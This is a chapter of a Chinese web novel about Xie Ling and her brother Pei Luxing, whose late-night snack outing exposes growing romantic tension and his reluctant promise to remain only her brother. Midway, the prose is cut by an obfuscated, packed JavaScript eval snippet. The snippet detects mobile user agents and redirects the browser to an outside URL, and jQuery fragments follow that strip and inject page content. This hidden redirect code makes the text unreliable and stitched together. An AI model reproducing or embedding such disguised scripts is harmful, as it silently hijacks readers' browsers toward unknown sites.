昏暗的房间内，所有窗帘都被拉得很死，以至于外面的光无法透进来分毫。
只是，床边却有一道幽微的光。
不算刺眼，但存在感很强。
裴陆行眯着眼，撑起身看去。
近在咫尺的位置，少女蹲坐在床边，自下往上地看着他，一头柔顺的黑发披散在身后，浅色睡裙铺在地板上，宛如某种小动物。
如果不是她手里拿着手机，而那光又从她下巴往上投射。
呈现出了恐怖电影里才有的效果。
或许会更像。
“……”
裴陆行瞳孔定了定。
半晌。
他无声吐出一口呼吸，心跳恢复正常。
操。
以为贞子从电视机里爬出来了。
他闭了一下眼，按了按太阳穴，隔了好一会儿，他才开口，“理由。”
刚从睡梦中醒来，他的嗓音还是哑的。
有些陌生的慵懒质感。
有点好听。
谢灵反应了两秒，而后茫然地眨了眨眼睛，不解地问：“什么理由？”
“给我一个不揍你的理由。”
裴陆行看着她，语气平静地说。
“……”
谢灵很努力地露出一个装乖讨巧的微笑，握住了他落在被子外的手臂，很轻的力道，声音也很乖，“哥哥，你不觉得晚上这样的大好时光用来睡觉特别浪费吗？”
裴陆行笑了一声。
一道意义明确的讥讽。
“难道你不想做点什么吗？”
谢灵依旧握着他的手，眨巴着眼睛看着他，鼓舞地说。
“想啊。”
他瞥她一眼，凉凉道：“想家暴。”
“粗鲁、野蛮。”
谢灵很失望，“我觉得我们之间相亲相爱的兄妹关系已经维持不下去了。”
“是吗？”
他却忽然笑了一下，语调变得很低很轻，“求之不得。”
谢灵：“……”
“你小气刻薄到我不知道说什——”
忽然。
他俯下身，很近地望着她的眼睛。
寂夜宁静。
幽微的光打在他的眼睫上，变得分明，眸底浮现起少见的认真。
“如果真有这么一天，你会怎样？”
他问。
谢灵微微一愣，剩下的话音渐渐消散。
如果真有这么一天……？
是什么意思？
他不再是她的哥哥了吗？
她眼睫很慢地眨了一下。
恰在这时，手机屏幕因为长时间未操作而熄灭。
四周的光骤然消失，陷入了黑暗。
他的神色也隐没在阴影中，再也无法看清。
谢灵还未来得及从方才的话里分辨什么，就被接踵而至的黑暗惊醒。
恐惧迅速挤占了所有神经，她本能地握紧了他的手臂。
下一秒。
伴随一道轻微的声响，床边的夜灯亮了起来，温柔的光瞬间填满了房间，视野变得清晰起来。
谢灵的呼吸也重新开始。
而刚才那句话，也似乎，随着黑暗一起消失了。
谁也没有主动提起。
裴陆行垂下眼，看着她仍旧握着自己的手，隔了几秒，他才伸出手扣着她的手掌，很慢地移开。
而后他掀被下床，把她从地上抱起，放到了床上。
“说吧。”
他走到书桌旁，将椅子拉了过来，坐到她对面，漫不经心地问：“这次又是什么事？”
她回过神，又开始装起乖来，说：“很小的事，哥哥。”
“很大的事也可以，”他唇角扯了一下，语气散漫，“反正都没打算帮。”
“……”
“我觉得，还可以商量一下。”
说完，不知怎么，她忽然低下头，用手按了一下床，想到什么般，问了句，“哥，你这个床垫是不是之前跟我那个一起买的？”
“别想。”
裴陆行说。
“……”
这瞬间有无语、荒谬、难以置信。
她不仅感到被污蔑了，甚至感觉被羞辱了。
她非常用力地强调，“我一点都没有想，我发誓。”
裴陆行没搭腔，端起旁边的水杯喝了一口。
隔了几秒。
大约是终于从倦意中清醒，他搁下水杯，才漫不经心地看着她，说：“想也不行。”
“……”
谢灵这次是真的感觉到被羞辱。
“放心，完全没有想，一点都没有。”
她忍耐地说完。
又觉得有点不对。
等下。
他有什么资格说不？
不是一直以来都是她才有话语权的吗？
他什么时候资格说！不！
于是她立刻又理直气壮起来，说：“我想的话就可以，只是因为我不想，你不要突然把自己的地位放那么高。”
听到这番无理取闹的话，他扯着唇角笑了一声，“行啊，那就请这位地位很高的大小姐说说，半夜不睡觉是来做什么的？”
“……”
谢灵刚嚣张起来的气焰顿时偃旗息鼓了。
她弯起眼睛，露出一个很友好的笑，语气也很友好地暗示，“就是，哥哥，你觉不觉得这个点特别适合出去吃夜宵？”
“适合。”
他顺着她的话说。
她眼一亮，刚要接着说。
“我不吃。”他又说。
“……”
谢灵很想说，本来也不是叫你来吃的，她只是一个人害怕。
不过她很识时务地把真心话憋了回去，说：“哥哥，你不要这么快就做决定，你再想一下呢？”
他很配合地想了两秒，说：“不吃。”
“如果我请呢？”
她加码道。
闻言，他笑了一下，在她面露期待的目光下，慢悠悠道：“也不吃。”
“……”
接二连三的拒绝，谢灵终于装不下去了。
维持了两分钟不到的好脸色结束。
她做回混球大魔王，不打算讲理了，“裴小狗，我没有问你的意见，我只是来通知你一下的。”
上一秒还是“哥哥”，下一秒就是“裴小狗”。
裴陆行唇角轻勾一下，说：“跟我玩先礼后兵？”
“没错。”
谢灵干脆承认，“反正你要陪我。”
他从椅子上站了起来，转身朝衣帽间走去，语气散漫地留下一句，“陪你吃夜宵可以，想睡我房间不行。”
“……？”
她本来就没想好吗？
三次污蔑羞辱就算了，还不行。
这个家里有她不能做的吗？
谢灵很不高兴地说道：“为什么不行？”
“为什么不行？”
他停下脚步，转过身来，走到她面前，漆眸直直地盯着她，声音很低，“你说为什么？”
时间仿佛静止。
谁也没有说话。
四周的空气仿佛变得微妙难明起来。
有什么不曾被提起的东西忽然暴露在光下。
谢灵的心跳像是漏掉了一拍。
对上他那直白的锁定的视线，不知为何，她心中却感到了一丝隐秘的不安，仿佛一直以来安全的壁垒被撕开了一条裂缝，有危险的风刮了进来。
忽然。
她偏过脸，突兀地说道：“……我饿了。”
像是找到了救命稻草，一个挑不出错的理由，于是她又重复了一遍，“哥哥，我饿了，陪我出去吃夜宵吧。”
裴陆行看着她，没有说话。
他的目光似乎早已穿透了她那拙劣而生硬的伎俩。
这几秒的静默被无限拉长，仿佛一种无形的折磨与煎熬。
他看着她逐渐收紧的指节，开始游移的视线，微微抿起的唇。
看着她那近乎明显的不自在。
许久。
他收回目光，轻轻闭了一下眼。
“去外面等着。”
他说。
“……哦。”
谢灵无端松了口气，然后下床走出了房间，带着几分自己都没意识到的逃离意味。
房门从外被人关上，四周重新恢复了安静。
回到她不曾来过的沉寂。
裴陆行眼睫垂落下来，不知在想什么。
半晌。
他唇角很轻地勾了一下，牵起一个近似自嘲的笑。
像是罪有应得般。
一楼的衣帽间内。
谢灵背靠着房间门，视线没什么焦点地望着某处，神色有些空茫。
好一会儿。
她慢慢走到了梳妆柜前坐了下来，不知怎么，那句话却仍旧在脑海里挥之不去。
——你说为什么？
你说为什么？
……
唇微微抿成一条直线，她握着项链的手不自觉地收紧。
一直以来被刻意忽略的东西，不经允许地再次浮出水面。
随着长大，有什么已经发生变化。
理所应当的兄妹之名，不再是免死金牌。
不能够再像小时候那样，肆无忌惮地嬉戏打闹。
距离的尺度与界限，悄无声息地拉扯开亲密无间的人。
而它不会消失。
还会随着时间愈发清晰地刻进彼此之间。
“还没好？”
门外，裴陆行的声音有些模糊地传进来。
“……马上。”
谢灵应了一声，看着手里的项链
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144441|164646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，下意识地想叫他，让他进来帮自己戴上。
可唇动了一下，又想到什么，她垂下眼，没有开口。
她安静地望着镜中的自己。
好一会儿。
她低下头，笨拙地摸索着，自己给自己戴上了。
高档住宅区内夜深人静，但进入新宫街后，却是一片热闹的灯红酒绿，繁华夜景依旧。
“想吃什么？”
裴陆行低头摆弄着手机，查看四周还在营业的餐厅。
谢灵不知在想什么，语气很淡地说了句，“都行。”
裴陆行侧眸看了她一眼，又看了一会儿手机，然后说了个她去过几次的餐厅名字。
“那就这个吧。”
没等裴陆行说出第二个餐厅名字供她挑选，她就随意地定了下来。
裴陆行顿了一下，看向她，“心情不好？”
“没有。”
谢灵敷衍地回道，不太想交谈的样子。
裴陆行没再说什么。
等吃完饭以后，已经近三点。
回到临安小区后，所有的喧哗都消失不见，宽敞寂静的路上再找不到别人，只有夜灯冷清的光铺在回家的路上。
谢灵垂着眼，看着地面上两个人的影子离得很近。
一直看着。
不知过去多久。
忽然。
她停了下来。
身旁的影子也跟着停了下来。
她没有看他，只是看着地上的影子，声音很轻，“哥，你记不记得初中的时候，有一段时间，你不怎么理我。”
“……”
裴陆行有很久都没有说话。
谢灵却自顾自地继续说着，“你不让我进你的房间，也不再让我抱你，就连我牵你的手，你也会挣开，好像我是吃人的妖怪，一碰你你就一副如临大敌的模样。”
“然后你跟我说，”她的声音变得低了下去，“你说因为我们长大了。”
裴陆行唇动了动，似乎想说什么。
他垂在身侧的手难以察觉地收紧。
好像有一个想象过无数次的答案就在嘴边，可几次三番的尝试甚至连雏形都不曾有，便化作了一道无声的别无选择的呼吸。
紧握的掌心慢慢松开，他垂着眼，终究什么也没说。
“那一年，”她忽然转过身，不再看地上的影子，而看着他，“我不是已经许过生日愿望了吗？”
似乎已经猜到她要说什么。
他喉结微微滚了一下，眸底仿佛翻涌过什么，如同潮汐退却后的海岸，只剩下一片荒凉的月光。
等待着她将这场凌迟完成。
“你不是答应过我，会永远当我哥哥，不会再跟我保持距离的吗？”
她望着他，语调很慢地复刻着当年的承诺。
她似乎看见他眼底浮现起一些她看不懂的情绪。
许久。
他声音很低地询问：“你想要什么样的距离？”
“就像小时候那样。”
她说。
他没有回应。
四周陷入短暂的沉寂。
她抿了抿唇，似乎不明白，“一直像小时候那样不行吗？你不是都已经答应过我了吗？”
既然是兄妹。
那不就应该做什么都可以吗？
没有距离，没有秘密。
他不会说什么长大了，就离她远远的。
也不会总是变得奇怪，让她看不懂。
更不会跟她说什么这个不行，那个不可以。
裴陆行看着她，说：“我不只是你的哥哥，我也是……”
后面的话却没能说完。
谢灵打断了他。
她用那样理所应当的语气，说：“就只是哥哥不行吗？”
寂夜的月光是皎白的，穿过灰色的云层洒落下来。
清辉铺在他身后，逆着光，将他的一切情绪都掩藏。
“谢灵。”
他声音很低，低到几乎蕴含出几分难以察觉的乞求。
“能不能别这样对我。”
可只有夜色给了他缄默的回应。
她听得见。
却不肯正视这场人人都会经历的生长痛。
还不肯放开哥哥的手，不肯看见他身上的变化。
逐渐明显起来的喉结、手臂上微微凸起的青筋、抽条的身高与分明的肌肉……所有他成长为男性的特征与信号。
她全都视而不见。
强硬地剥离他属于裴陆行的一切，禁锢在哥哥的身份里。
长久的等待。
到最后。
仍然是裴陆行在这场较劲中认了输，他垂着眸，看着她眼底执拗的坚持，终于阖上眼，声音轻不可闻，“行。”
——就永远，以哥哥的身份。
裴陆行的一切都不再有名义。